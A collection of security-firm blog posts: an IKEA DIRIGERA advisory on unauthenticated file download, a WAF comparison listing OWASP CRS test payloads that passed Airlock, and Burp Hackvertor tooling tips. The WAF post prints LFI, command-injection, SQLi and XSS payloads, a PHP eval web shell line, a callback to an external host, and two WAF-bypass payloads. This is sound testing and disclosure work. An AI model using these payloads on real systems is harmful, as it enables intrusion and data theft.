Pentagrid AG (Posts about OWASP)

Security misconfiguration in IKEA DIRIGERA smart hub web server exposes large parts of the root filesystem (GCVE-2342-2026-1)

Pentagrid AG — Wed, 17 Jun 2026 13:42:00 GMT

IKEA produces smart home devices and their newest generation uses the central DIRIGERA smart hub. After extracting the firmware, we started hunting for vulnerabilities of the device and found: An unauthenticated attacker on the network can download large parts of the files from the DIRIGERA hub root filesystem. This affects files that are accessible to the service user license-server. These include binaries, firmware files, API keys and in general a lot of proprietary code written by Inter IKEA Systems.

Timeline

2026-03-18: Vulnerability was discovered.
2026-03-19: Tried to identify security contacts by checking IKEAS's security.txt, their GPG key and the web. The available online form for submissions was incompatible with Pentagrid's disclosure policy. Tried to contact security@ikea.com by guessing the address, but the e-mail was bounced. Tried to reach out to IKEA via Linkedin and got afterwards contacted by Inter IKEA Systems.
2026-03-23: IKEA confirms they are handling the security reports. Pentagrid sends a draft of this advisory.
2026-03-26: Pentagrid contacts IKEA for a status update. IKEA confirms they are still triaging the issue.
2026-04-29: Pentagrid contacts IKEA for a status update.
2026-05-04: IKEA sends an update: The issue was a duplicate and reported shortly before Pentagrid's submission on Hackerone. A fix was released to production in the 2.934.1 release, which was released on 2026-04-09. The fix removes the license-server component from the build and that functionality has been reworked to be handled elsewhere outside of the hub. Pentagrid asks if disclosure could happen already. IKEA responds with with a list of questions regarding the disclosure.
2026-05-06: Pentagrid responds to the list of questions and provides an early draft of this blog post.
2026-05-13: Pentagrid asked for an update.
2026-05-27: IKEA agrees that the provided answers/blog post draft are in order with them and Pentagrid can proceed as planned.
2026-06-17: 90 days disclosure deadline and publication.

Unauthenticated file download via licensing server

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N, 5.8 Medium

Affected Components

The affected component is the IKEA DIRIGERA smart home hub created by Inter IKEA Systems. The device runs a busybox httpd web server on TCP port 8082, which runs as a systemd service under user license-server.

An initial firmware dump prior to the update showed the version information below. The system remained vulnerable after an update to a new firmware on 2026-03-18.

[HomeSmart/Bootchain : 2.556]

and

/etc/version
20180309123456

The vulnerability was fixed in version 2.934.1.

Summary

An unauthenticated attacker on the network can download many files from the DIRIGERA hub root filesystem. The files must be accessible to the Linux user license-server. These include binaries, firmware files, API keys as well as proprietary code written by Inter IKEA Systems.

Impact

During the analysis Pentagrid was able to download 9639 files from 3149 folders from the embedded device's filesystem over the network without any authentication. These files include:

/usr/share/config/platform/data/settings.json which includes the API key that is the same for two analysed DIRIGERA hubs.
/boot/m4-firmware which is assumed to be the Cortex M4 firmware.
Most binaries files -- here it becomes apparent that busybox is used since most of /bin/* binaries return the same (busybox) file.
Configurations of services such as the vulnerable /lib/systemd/system/license-server.service.
Intellectual property of Inter IKEA Systems B.V., e.g. shell code of /usr/sbin/boot-complete.sh.
Operational parameters that are stored in /usr/share/{factory, config, persist}.

The usage of systemd service hardening, the usage of the STSAFE enviroment, and proper Linux user permissions limits the impact. To the best of our knowledge no client specific cryptographic material is exposed to the network. What is assumed to be the client certificate under /usr/local/gw/datad/certs/cert_datacloud.crt is not accessible and would further require the protected STSAFE secret for the also inaccessible /usr/local/gw/datad/certs/key_datacloud.key.

The extracted files expose configurations, intellectual property, proprietary software, and firmware of the Ikea DIRIGERA hub, such as the vulnerabilities of the license server that is exploited here. The impact of exposed software versions is considered insignificant since the license server gives a comprehensive overview about the used software and versions regardless.

Technical Details

The vulnerability originates from the misconfigured systemd service: /lib/systemd/system/license-server.service. It serves a httpd server on port 8082 with a configuration file under /usr/share/common-licenses/httpd.conf.

Excerpt from file license-server.service:

ExecStart=httpd -f -p 8082 -c /usr/share/common-licenses/httpd.conf

Excerpt from file httpd.conf:

I:/usr/share/common-licenses/license_summary.txt

/usr/share/common-licenses/license_summary.txt includes all the licensing information of the software running on the DIRIGERA hub. This file is the only content that is intended to be accessible via the web endpoint.

Yet, if an unauthroized user visits the endpoint and appends any file system path to the base URL, the webserver returns the file contents or starts a file download, e.g.:

dirigera.example.local is here the hostname of the DIRIGERA hub.

The webserver serves these additional files due to a non-specified home directory in a busybox httpd service. The httpd call inside the systemd service does not specify the -h parameter (home/server root directory). Further, the configuration file /usr/share/common-licenses/httpd.conf only specifies the index file via tag I: but also does not specifiy the home directory using the tag H: (called server root in the configuration file). As a result, the webserver defaults to the current directory as the root directory of the webserver which is also the root directory of the entire file system (/).

All accessible files return status code 200. To identify existing folders they must be called without the tailing /, e.g. send GET request to http://dirigera.example.local:8082/usr/share/persist/tee to get status code "302 Found" and a location reference to /usr/share/persist/tee/. Directly requesting /usr/share/persist/tee/ results in status code "404 Not Found", which does not provide information to discriminate folder existence. Note, that besides the information gained from the files, attackers can gain additional information about the file system's structure by checking if a folder exists and is accessible: e.g. /usr/share/persist/tee/ is known to exist even though all files inside the folder are inaccessible.

To scrape all 12788 files and directories, Pentagrid used a preconfigured wordlist based on the extracted firmware from another DIRIGERA hub. The total number of accessible entities is a lower (but confirmed) limit since crawling the licence endpoint/filesystem was done based on a non-comprehensive wordlist. The crawling wordlist included only known paths from partitions 9, 10, 11, 13, 14, 15, 16, 17, 18, and 20 of the emmc flash with partitions 15, 16/17, and 18/19 mounted under /usr/share/{factory, config, persist}.

The system tries to limit access with systemd service hardening, especially the InaccessiblePaths setting in combination with the Linux user permissions — although this is not sufficient, it prevents further exploitation.

Precondition

An attacker needs access to TCP port 8082 of the IKEA DIRIGERA smart hub. Prior knowledge of the filesystem structure is not necessary but can reduce the time required to scrape the entire contents of the filesystem. A version before the 2.934.1 release has to be installed.

Recommendation

Install firmware version 2.934.1 released on 2026-04-09 or a later one. The fix removes the license-server component from the build and the functionality has been reworked to be handled elsewhere outside of the hub.

If you are using busybox httpd in a similar scenario, it is recommended to:

provide a "Home directory" to httpd by via command line or configuration file.
establish an allowlist to only expose the intended files. Beware, that busybox httpd config files are far more limited in their capabilities to restrict file access compared to their non-busybox alternative.
apply additional systemd service hardening.
not solely rely on systemd service denylisting with InaccessiblePaths to administer the served content as denylisting is bad practise for access control.

Credits

This vulnerability was discovered by Yannic 'toxsos' Hemmer (Pentagrid).

An excursion into Airlock WAF ruleset testing

Pentagrid AG — Wed, 11 Dec 2024 12:00:00 GMT

Recently we've been tasked to do an analysis of a web application firewall (WAF) of the vendor Ergon, namely the Airlock WAF regarding the effectivness of filtering. One idea was to see what happens when OWASP Core Rule Set (CRS) tests are run against it. This is the story of how we approached this, which payloads went through and how impossible it is to tell if that's good or bad now.

WAFs are a controversial topic. The reason is simply that there is no technical proof that either is universally helpful or harmful, as their effectiveness largely depends on a lot of things. We don't think you need a WAF in general, and we also don't think you need to get rid of your WAF if you have a use case. For all of you who are expecting us to provide the ultimate answer [1] in this blog post: You can stop reading here. For everyone interested in learning some technical details about two WAF-related projects from real-world installations, please enjoy.

About WAFs and Airlock

Ergon's Airlock WAF is one of the better-known WAFs in Switzerland. One reason for this is that it is often recommended, bundled or sold with financial software, such as core banking systems. Some banks nevertheless use something else, while others stick with Airlock. Like any other WAF, Airlock mitigates risks according to their website.

Like a standard firewall, a WAF has a set of rules that define wether something is blocked or allowed through. However, that's already where the similarity stops. Best practices for regular firewalls require you to create an allow-list of traffic you want to pass and deny everything else. By contrast, most WAFs use block-lists and allow everything else. Everybody in our industry knows block-lists are a recipe for security issues and that's why a WAF will never be perfect, but best effort. So as a matter of fact, WAF bypasses are a common thing.

While every vendor and company using a WAF has their own rule set to fit their purpose, a key distinction exists: some who use a modified version of the OWASP ModSecurity Core Rule Set (CRS), while others don't use CRS at all. According to the CRS project, a lot of big cloud vendors are using CRS in their WAF. However, Airlock is one of the vendors that doesn't use CRS.

Additionally, most WAFs allow to decide dynamically whether to use more or less strict rules for a certain category of attacks. CRS uses the term "Paranoia Level" (1 to 4), whereas Airlock calls it "Security Level" or "Blocking Level" (basic, standard and strict). As some might already have noticed, we'll sometimes refer to CRS as a WAF in this post, implying a compatible WAF engine like ModSecurity is using CRS.

Approach

We've been tasked with analyzing an Airlock WAF and while we looked at various things, as a novel approach, we also decided to try to run comparison tests for Airlock against some of the CRS rules. As there seemed no one who did this before and wrote about it on the Internet, we tried our luck.

Although there is a public list of rule names, you need access to an Airlock WAF in order to see the actual Airlock rules (the regexes). Whereas CRS is an open-source project and you have full access to review it. This is very helpful for a pentester who is up against a CRS-based WAF, as you can even look up all currently unfixed evasions on GitHub.

The Airlock WAF we were facing had the following rules and blocking levels set:

Standard: SQL Injection (SQLi) in Parameter Value
Standard: SOL Injection (SQLi) in Header Value
Standard: Cross-Site Scripting (XSS) in Parameter Value
Standard: Cross-Site Scripting (XSS) in Header Value
Standard: Cross-Site Scripting (XSS) in Path
Standard: Template and Expression Language Injection
Strict: HTML Injection in Parameter Value
Strict: HTML Injection in Header Value
Strict: HTML Injection in Path
Standard: UNIX Command Injection in Parameter Value
Standard: UNIX Command Injection in Header Value
Standard: Windows Command Injection in Parameter Value
Standard: Windows Command injection in Header Value
Standard: LDAP Injection in Parameter Value
Standard: LDAP Injection in Header Value
Standard: PHP Injection in Parameter Value
Standard: PHP Injection in Header Value
Standard: Object Graph Navigation Library (OGNL) injection (Apache Struts)
Standard: Insecure Direct Object Reference in Parameter Value
Standard: Insecure Direct Object Reference in Path
Standard: NoSOL Injection in Parameter Name
Standard: NoSOL Injection in Parameter Value
Standard: NoSQL Injection in Header Value
Strict: Parameter Name Sanity
Standard: Parameter Value Sanity
Strict: Header Name Sanity
Standard: Header Value Sanity
Strict: Path Sanity
Strict: Encoding and Conversion Exploits in Parameter Value
Strict: Encoding and Conversion Exploits in Header Value
Strict: HTTP Response Splitting
Strict: HTTP Parameter Pollution
Standard: Miscellanous Exploits
Strict: Automated Scanning

Note that none of the rules are on the level "basic", so either the "standard" setting is used or even the highest protection level "strict".

CRS regression test run against Airlock

The most interesting part for us was that the CRS project provides a full regression test set, which contains tests that trigger a rule in different ways. With some modifications, such as changing the target host, we were able to run these tests against the Airlock WAF. Although this approach seemed straightforward, we underestimated the amount of manual work required to determine whether a failed test result for CRS was really "an issue" for the Airlock WAF. That's why we didn't completely review the entire regression corpus. However, we still learned a lot of interesting facts about both WAFs, as you'll see.

In the end, the effectiveness of a WAF depends a lot on its configuration (there are many features we don't even mention here) and on the type of application it is protecting. So even before starting, we knew the results wouldn't show a generally applicable picture.

After tweaking the configuration of go-ftw (a framework for testing WAFs), and trying to run it against Airlock, it became obvious that this was going to involve a lot of manual work to figure out which things were really a problem on the Airlock side. Some of the reasons are:

As we had to overwrite the destination (IP address and TCP port) as well as the HTTP Host header of tests to route our request correctly to the Airlock WAF, we already destroyed some of the CRS regression tests that injected into the HTTP Host header.
There is no throttle mechanism in go-ftw and Airlock was configured to block an IP for a certain time if a threshold of blocked requests per minute was detected. Therefore, we split the test into smaller batches and waited for a while between each batch. When just a few of the test requests were blocked, the batches went through nicely, but for tests that resulted in many blocked requests, we had to rerun them. Fortunately for us, in this particular configuration, it was easy to detect in the HTTP responses when the Airlock WAF blocked our IP address.
Airlock has an allow-list regex of all HTTP header names that are forwarded to applications. If you inject into any HTTP header that is not on the allow-list, the request will never be blocked. Some of the CRS tests injected into custom HTTP headers and therefore never triggered any rule.
Airlock also has an allow-list regex of HTTP cookie names where the same issue applies.
While CRS checks for certain patterns generically in all parameters, Airlock seems to check for certain things only when these parameters are defined to have that kind of content. For example, XML External Entity (XXE) attacks are not blocked generically in a parameter in Airlock.
Some CRS tests check for false positives (meaning CRS should not block them), but we were not interested in those, as we wanted to see what we could potentially smuggle past the Airlock WAF that CRS blocks.

CRS regression test run results

Here's a list of CRS test results that were passed through and were not blocked by the Airlock WAF under test (mid 2024), but would be blocked at some of the paranoia levels of the CRS. As said earlier, this list is incomplete as we didn't look at all the results of the CRS regression tests manually. The titles are the category titles by CRS.

REQUEST-913-SCANNER-DETECTION

User-Agent: nuclei
User-Agent: urlgrabber/3.10 yum/3.4.3
User-Agent: Mozilla/5.0 zgrab/0.x
User-Agent: mozilla/5.0 ecairn-grabber/1.0 (+http://ecairn.com/grabber)

REQUEST-920-PROTOCOL-ENFORCEMENT

GET /?param=%25%37%33%25%36%46%25%36%44%25%36%35%25%37%34%25%36%35%25%37%38%25%37%34%25%35%46%25%33%31%25%33%32%25%33%33%25%33%34 HTTP/1.1

REQUEST-921-PROTOCOL-ATTACK

GET /?arg1=GET%20http%3A%2F%2Fwww.foo.bar%20HTTP%2F3.2 HTTP/1.1

POST / HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Content-Type: application/x-www-form-urlencoded
Host: www.example.org
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Content-Length: 86

foo=(%26(objectCategory=computer)%20(userAccountControl:1.2.840.113556.1.4.803:=8192))

REQUEST-930-APPLICATION-ATTACK-LFI

GET /?foo=.../.../WINDOWS/win.ini HTTP/1.1
GET /?foo=0x5c0x2e./0x5c0x2e./0x5c0x2e./0x5c0x2e./0x5c0x2e./ HTTP/1.1
GET /foo../1234 HTTP/1.1
GET /?a=..;.\.;\. HTTP/1.1
GET /?code=;+cat+%2Fetc%2Fsubuid+%23 HTTP/1.1
GET /?code=;echo+fooffff>/tmp/curl HTTP/1.1

REQUEST-931-APPLICATION-ATTACK-RFI

GET /?src=http://66.240.183.75/crash.php HTTP/1.1
GET /components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=https://foo.bar HTTP/1.1
GET /?x=https://example.com/ HTTP/1.1
GET /?x=url:file://foo.bar HTTP/1.1
GET /file:%2f%2f/usr/src/blog/app/assets/javascripts/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1

REQUEST-932-APPLICATION-ATTACK-RCE

GET /get?932120-1=Invoke-WebRequest%20http://example.com/path/file.ps1 HTTP/1.1
GET /get?a=Invoke-Expression%20-Command%20file.ps1
GET /get?cmd=%3Biwr%20http://example.com/path/file.ps1 HTTP/1.1
GET /?cmd=cat%20/etc/pa%5Bs%5Dswd HTTP/1.1
GET /?cmd=x<cat+/etc/pa%5Bs%5Dswd HTTP/1.1
GET /?cmd=;cat+/etc/pas[s]wd HTTP/1.1
GET /?s=;/usr/bin/%5Bu%5Dname+-a HTTP/1.1
GET /?foo=for%20%2fr%20c%3a%5c%20%25variable%20in%20%28set%29%20do%20command HTTP/1.1
GET /?foo=FOR+%2FF+%22options%22+%25a+IN+%28%22text%22%29+DO+abc HTTP/1.1
GET /?foo=%26+FOR+%2FF+%22tokens%3D1-3%22+%25%25A+IN+++%28%22jejeje+brbr%22%29+DO+%40echo+pwnd HTTP/1.1
GET /?foo=FOR+%25%25G+IN+%28a%2Cb%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj%2Ck%2Cl%2Cm%2Cn%2Co%2Cp%2Cq%2Cr%2Cs%2Ct%2Cu%2Cv%2Cw%2Cx%2Cy%2Cz%29+DO+%28md+C%3A%5Cdemo%5C%25%25G%29 HTTP/1.1
GET /?x=%2Fusr%2Fbin%2Fperl+-e+%27print+readline%27+some-file.txt HTTP/1.1
GET /?x=)};%24SHELL%20-c%20%22echo%20hi%22 HTTP/1.1

REQUEST-933-APPLICATION-ATTACK-PHP

GET /?x=$_SERVER['test']; HTTP/1.1

File content:

<?php @eval($_POST["hacker"]); ?>

REQUEST-934-APPLICATION-ATTACK-GENERIC

GET /get/?foo=eval%28String.fromCharCode HTTP/1.1
GET /get/?foo=%0Arequire("child_process").exec('whoami') HTTP/1.1
GET /?x=%0Arequire%3bx%3d"child_process"%3blol(x).spawn("curl",%20['5gmgdi7mjd5o3g8oj8gawq6n8ee5ht6.oastify.com'])%3b HTTP/1.1

REQUEST-942-APPLICATION-ATTACK-SQLI

GET /?a=b,1=1 HTTP/1.1
GET /?a=a=42%20like%2042 HTTP/1.1
GET /?a=1%20is%20not%202 HTTP/1.1
GET /?a=%271%27+not+regexp+%272%27 HTTP/1.1
GET /?var=,+FIND_IN_SET('22',+Category+) HTTP/1.1
GET /?var==1'+%2b+1+is+likelihood(0.0,0.0)+is+1-- HTTP/1.1
GET /?var==1'+%2b+starts_with(password,'a')::int HTTP/1.1
GET /?id=...(json_build_object(1,password)::jsonb)::int HTTP/1.1
GET /?var=SELECT%20x%20GROUP%20BY%20SOMETHING%20HAVING%20COUNT%28Id%29%20%3E%3D%209 HTTP/1.1
GET /?var=;INSERT+INTO+table+(col)+VALUES+1,2,3 HTTP/1.1

REQUEST-944-APPLICATION-ATTACK-JAVA

java.lang.ProcessBuilder
java.lang.Runtime
java.io.BufferedInputStream

Bypassing both WAFs

There was one more thing we wanted to do. We wanted to find something that bypasses both WAFs.

PHP

After looking at the PHP regex of rules for CRS, we came up with the following valid PHP payload:

<?xml :system("ls")

This is valid PHP code with the short PHP start tag (<?) that executes a shell command, but bypasses the filter rules for both WAFs. PHP will interprete the "xml :" part as a label (e.g. used for goto).

OWASP CRS checked for the short PHP start tag (<?) but excluded <?xml generically, which allowed the bypass. However, for CRS other rules such as Cross-Site Scripting prevention rules also triggered (multi-layer approach), meaning depending on the filter settings the payload could still be detected in some cases. After reporting the PHP filter bypass to OWASP CRS it was fixed.

Although Airlock also has a rule to detect PHP short start tag payloads, for Airlock this payload resulted in a bypass.

XML

To find a second bypass we simply used a payload from one of our old advisories that hides the Cross-side Scripting payload in an XML attribute :

POST /ebics-server/ebics.aspx HTTP/1.1
Content-Type: text/xml; charset=UTF-8
Host: www.example.org
Content-Length: 585
Connection: close

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<ebicsUnsecuredRequest xmlns="urn:org:ebics:H004" Revision="1" Version="&lt;a autofocus onfocus=print(1) href&gt;&lt;/a&gt;;">
    <header authenticate="true">
        <static>
            <HostID>AAA</HostID>
            <PartnerID>AAA</PartnerID>
            <UserID>AAA</UserID>
            <Product InstituteID="AAA" Language="de">AAA</Product>
            <OrderDetails>
                <OrderType>AAA</OrderType>
                <OrderAttribute>AAA</OrderAttribute>
            </OrderDetails>
            <SecurityMedium>0000</SecurityMedium>
        </static>
        <mutable/>
    </header>
    <body>
        <DataTransfer>
            <OrderData>AAA</OrderData>
        </DataTransfer>
    </body>
</ebicsUnsecuredRequest>

While Airlock doesn't check file contents in-depth in general, it is still an open issue for CRS.

Summary

The above results show what went through the Airlock WAF. But after looking at the above results, everyone can agree that it's not easy to tell what that means exactly and what is the right thing to do. Should Airlock block more? Are those useful attack strings? We decided that we do not want to pick apart all of the payloads and argue about them. We provide them for you as-is, so you can draw your own conclusions.

After talking to Ergon, they opened internal tickets and said they are going to look at certain things from the above list. We agree that certain payloads are not yet full attacks, for other payloads we were expecting Airlock to block more.

For CRS, one of the two mentioned issues is fixed; the other is still open.

We have seen that Airlock did not block certain tests from CRS. Overall, it gave the impression of resulting in fewer false positives, as it seems to rather allow than block legitimate users. On the other hand, if you are looking for Server Side Request Forgery (SSRF) protection by default in URLs (URLs in URLs), you have to actively configure that when using Airlock. The impression of more false positives with CRS is probably in the nature of the project and again: whoever uses CRS must modify it to fit their needs. For example, if you use CRS and have users in Germany, users with first name Axel could get pretty upset.

Depending on your preference, you can tweak your WAF to reduce either false positives or false negatives. Some people prefer a WAF without false negatives because otherwise it can be bypassed. Other people will prefer fewer false positives because they are afraid to block legitimate cases or do not want to invest the time to configure every use case. When trying to argue in either direction, we seem to run in circles.

Are you upset about any of our statements above? See, we told you it's a controversial topic to talk about.

Thanks

We would like to thank our customer who was open to let us look at the WAF in a whitebox approach and who agreed to do a publication of the results. Thanks goes out to the OWASP CRS team who responded to all our questions on Slack. Thanks also to Ergon for the call and feedback.

Hackvertor EAN-13 and TOTP tags for web-application penetration testing with Burp

Pentagrid AG — Fri, 06 Dec 2024 08:42:00 GMT

Hackvertor is a standalone tool and more importantly for us an extension for the penetration testing tool Portswigger Burp Suite by Gareth Heyes of the Portswigger Research team, which performs dynamic data conversions. For example, the tool can be used to encode data fields as Base64 before Burp sends a HTTP POST request to a server. This happens automatically and there is no need to manually convert anything or copy and pasting between different windows.

We had an example in our blog, where we generated Swiss social security numbers for a pentest and explained how to program custom Hackvertor tags. There are all kinds of tags already available inside Hackvertor and users can also code their own custom tags. Nowadays Hackvertor has it's own public tag store, where users can submit custom tags. Pentagrid provided two custom tags that made it into the Hackvertor tag store. One tag is for calculating the check-digit of EAN-13 numbers and another is for Time-based one-time password (TOTP) calculation.

As already explained in our blog post Teaching Burp a new HTTP Transport Encoding, being able to customise Burp like this is a helpful instrument to automate and increase test coverage during a security analysis.

EAN-13 Hackvertor tag

EAN is the European Article Number, a standard to encode article numbers. And while it became more international than European and is now called Global Trade Item Number, it is often still referred as EAN-13. Swiss AHV/AVS numbers use the check-sum calculation from EAN-13 and store the check-sum as the 13th digit.

The custom tag code from our blog post was made available as a Hackvertor tag in the tag store. To use the EAN-13 tag, see the following two examples:

# the "append" parameter can be set to 0 or 1.
<@_ean13(1,'[...]')>756.9217.0769.8</@_ean13> # -> 756.9217.0769.85
<@_ean13(0,'[...]')>756.9217.0769.8</@_ean13> # -> 5

The omission [...] is the place where a so-called Hackvertor code execution key must be inserted. The Hackvertor Burp extension will add the code execution key automatically, if the tags are used and prepared in the Hackvertor tab in the Burp UI. The execution key is a random 40-hex character string that prevents websites processed by Burp from triggering harmful actions. The code execution key is unique to your Burp application start. Only code execution tags (with custom code such as the ones in the tag store) require code execution keys.

TOTP Hackvertor tag

Pentagrid also implemented a TOTP tag. This time-based one-time password is used for second factor authentication. If such a second factor is required during the penetration test, this Hackvertor tag can be used. The code was recently added to the tag store. To use the TOTP tag, extract the seed from the QR code that was handed over to you to scan it with an authenticator app. The command line tool zbarimg can dump QR code content from an image file:

% zbarimg ~/Authenticator-QR-Code.png
QR-Code:otpauth://totp/SomeOrg:something?secret=MYSEEDMYSEED2342&issuer=SomeOrg
scanned 1 barcode symbols from 1 images in 0.05 seconds

The tag can then be used analogue to this example:

<@_totp('[...]')>MYSEEDMYSEED2342</@_totp> # -> 797723

There are several parameters for TOTP. In practise, the tag only supports the commonly used parameters SHA1, 30 seconds, 6 digits. Let us know if you find a different configuration in the wild, it should be fairly simple to adapt the custom tag in that case.

In order to access the tag store, just go to the menu entry "View tag store" from the Hackvertor menu in Burp and install the plugins you want. Then also make sure to allow code execution tags via the menu entry "Allow code execution tags" from the Hackvertor menu in Burp.

Update 2025-06-04: An update of Hackvertor in 2025 changed the style of closing elements from <@/name> to </@name>. Therefore, we updated the post.

Improving web application security testing with the Pentagrid Scan Controller

Pentagrid AG — Tue, 23 Aug 2022 12:42:00 GMT

We're back with another helpful Portswigger Burp Pro Proxy extension that you shouldn't miss if you do web application security analysis. This time the wasteful approach of Burp's feature "Actively scan all in-scope traffic" triggered the development of a new extension called Pentagrid Scan Controller, because there are several improvements possible and desirable.

For example, Burp's default scanner actively scans static resources on the server, which seems useless in many cases, so the extension will not do that by default. But the power of the extension lies in all the configuration, you can do yourself to improve the automatic active scanning by deciding what should be scanned and what shouldn't. It also takes the entire concept one level higher up, because you define what you think are interesting HTTP requests and what not. This allows the extension to show you a ranked view of requests and as a tester you now know where to spend the rest of your manual testing time after Burp's scanner ran. Another improvement is in the area of repeatability of requests. The extension will figure out if a requests is repeatable at all (because that's necessary to do proper scanning). If a request is not repeatable it will be made repeatable or ignored (you can see the decision in the UI), because there is usually no point in scanning non-repeatable requests.

You can head over to the Pentagrid Scan Controller github page, where the extension was published as open source. Visit the official Burp BApp store page of Pentagrid Scan Controller or load it directly inside Burp Pro via the BApp store. We recommend to watch the area41.io talk of Tobias Ospelt about improving web application scanning which explains the issues of Burp scanner, what the extension will improve and how you can use the extension. If you want to skip to the extension part directly, you can watch the talk from 24:20 min.

The extension version 0.1 already has many features, such as:

Scanning only in-scope items
Different deduplication techniques of items already scanned
Ignoring requests if the URL or the entire request matches a certain regex
Delays before repeatability checks or scans, which allows you to browse the website for a while without being disturbed. Additionally, if a request turns non-repatable after 10 seconds it's better not to scan it at all and let you know.
Scanning requests that are not repeatable (not recommended)
Building your own "interesting score" by URL file extension, HTTP status code, HTTP method and number of parameters. Define the score values.
Changing the heuristic keywords to figure out if a request is repeatable or not
Reimplemented JSON, XML and multipart injection. This was necessary, because extensions in Burp can currently not set a parameter value of JSON bodies through the official Burp API.
Added Non-Standard-HTTP header and URL path injection
Thread pooling to make sure Burp Proxy is never waiting for the extension (performance)
Make requests repeatable by using Hackvertor tags and show it in the UI. This means you can reuse the repeatable request in other tools such as the Burp Repeater.
The usual Burp extender API workarounds such as project-level storage.
Hiding items in the table

We're currently working on a new version of the extension where the following things will change:

New feature: Ignoring requests if the response matches a certain regex
New feature: Influence "interesting score" by response content-type (disabled by default as URL file extensions are usually sufficient)
New feature: To declutter the UI, most options will be hidden by default and there is a button to toggle advanced options.
New feature: The extension UI is divided into more tabs which group options together.
New feature: Divide repeatability reasoning and scan reasoning in the UI

We are also going to add additional scan capabilities (like ActiveScan++), for example:

Add non-standard HTTP headers as insertion points
Add URL paths as insertion points (often used as parameters in REST APIs)
Add Bearer Authorization HTTP header as an insertion point, this is important because Burp's new scanner checks for JSON Web Tokens (JWT) and is not yet checking the default "Authorization: Bearer ey[...]" location.
Add Basic Authorization HTTP header as an insertion point (username:password in base64)
Automated Smart Content Discovery as part of scanning, meaning automated Snallygaster checks are performed per directory.

So stay tuned for the next release.

Burp Suite - solving E-mail and SMS TAN multi-factor authentication with Hackvertor custom tags

Pentagrid AG — Wed, 17 Mar 2021 08:00:00 GMT

Why bother investing time to automate work when doing IT security testing? On one hand, manual testing is a tedious work, where you spend time doing vulnerability tests that could be done by a machine. On the other hand, letting a machine decide fully on its own on how to do tests will mostly result in the machine doing nothing useful. This is especially true for security testing, where manually checking every parameter for injection attacks is very laborious and automated security scanners go on scanning for hours while a human would have aborted the scan for various reasons. However, if we teach automated tools to do things correctly each time, we get the sweet middle spot of semi-automated security testing, where the tools do the automatic and systematic security tests and the analyst can focus on the parts of a security test, where the tools are likely insufficient.

Burp Suite Pro is one of the main tools to do all kind of HTTP related security analysis and that supports a semi-automated testing. But now and then it lacks certain features. Burp extensions can again add some of them. In this post we would like to show how to use one of the most powerful extensions, Hackvertor by Gareth Hayes and its relatively new feature of Python scripting.

Use Hackvertor to generate Swiss social security numbers

Let's start with a simple example. Imagine you are security testing a website and you found an HTTP-API that expects the de facto Swiss social security number [1] as a parameter. Nearly every adult in Switzerland has such a number. After researching, you find out this unique number always starts with 756, followed by two times four random characters and ending with another two random characters like this:

756.9217.0769.85

If you would just like to brute-force random social security numbers in HTTP requests, you could use Burp's Intruder feature that allows you to try generate different numbers. But what if you would like to send a new random number each time you send the request in Burp's Repeater? This is where Hackvertor can be used. In Hackvertor's UI you can search for tags and you should quickly find the random_num tag. The purpose is simply to generate a random number as shown in the input and output field in the following picture:

So generating a new random social security number is as easy as pasting the following value into an HTTP request in Burp's Repeater:

756.<@random_num_0(4) />.<@random_num_1(4) />.<@random_num_2(2) />

For example, the following request can be created in the Burp Repeater:

However, it will not be sent out from Burp as-is and the tags will be replaced by Hackvertor. How does an example request look like when it leaves Burp? This can be observed in the Logger++ extension (another very helpful extension you should use) as shown in the following picture:

This was just an easy example to start. But the truth is, Swiss social security numbers are not fully random and the last character is an EAN13 checksum over the other characters. And instead of sending incorrect social security numbers to a website, how about calculating that checksum in Hackvertor? That's where custom Hackvertor code execution tags come into play. You can write them in JavaScript or Python, we'll use Python here. Hackvertor code execution tags allow you to write code that takes an input (passed in the variable input, that's whatever is put between the tags) and define the output variable. A no-transformation example looks like this:

So here's a little Python one-liner that calculates the checksum number from the nine random numbers that were passed as input and assigns the value to the variable output:

z=input;y=z.replace('.','');output=z+str(10-(sum([3*int(x) for x in y[1:][::-2]])+sum([int(x) for x in y[::-1][1::2]]))%10)[-1]

Defining it as the tag name ean13 and you should get the following picture when you open the tag in the edit window:

Note that the leading underscore is used for every custom tag, so Hackvertor knows it is not a built-in Hackvertor tag. So how do we use such a custom tag?

First of all, there is a security measure so other people that send traffic through your Burp can't execute the custom tag on your Burp machine. Code execution tags are only executed when a certain random token is included in the tag. This means you'll need to create a custom tag in the Hackvertor UI first to get that random token. Creating the custom tag for our ean13 tag in the Hackvertor UI will result in something like this:

So keep in mind that for your Burp installation, that random number in double qutoes will be different. As the output windows in the above picture tells you, code execution tags are still disabled by default for security reasons. This is a second setting you'll need to change. You can enable them in the top main menu of Burp under the Hackvertor item. What you need to do then is to allow code execution tags in Hackvertor:

After that you will probably not see much in the output window of Hackvertor. That's because we have to give our custom tag the correct input. For example:

<@_ean13_3("83a52168fad35b2d85f6972b0eb1db91")>756.9217.0769.8</@_ean13_3>

Now you should see the correct social security number being generated, namely 756.9217.0769.85. And here comes the real power of Hackvertor. Now you can combine the generation of random numbers feature of Hackvertor and our custom tag in a nested form:

<@_ean13_3("83a52168fad35b2d85f6972b0eb1db91")>756.<@random_num_0(4) />.<@random_num_1(4) />.<@random_num_2(1) /></@_ean13_3>

Whenever you send this value in the Burp Repeater, it will be replaced with a random social security number with a correct checksum. Of course you can now not only generate random social security numbers, but you can also generate the random numbers with Burp Intruder and brute-force with valid EAN13 checksums.

In some cases it might be even possible to simply paste the above tags into the browser you use with Burp and the web server will receive a random social security number. However, this only works if the web application you are testing does not encode the values we put into HTML fields and Hackvertor is still able to see the tag exactly as written above. This is rather a rare case, but it might work.

Update 2024-12-06: The EAN-13 tag is available via the Hackvertor tag store.

Use Hackvertor to fetch second-factor authentication token

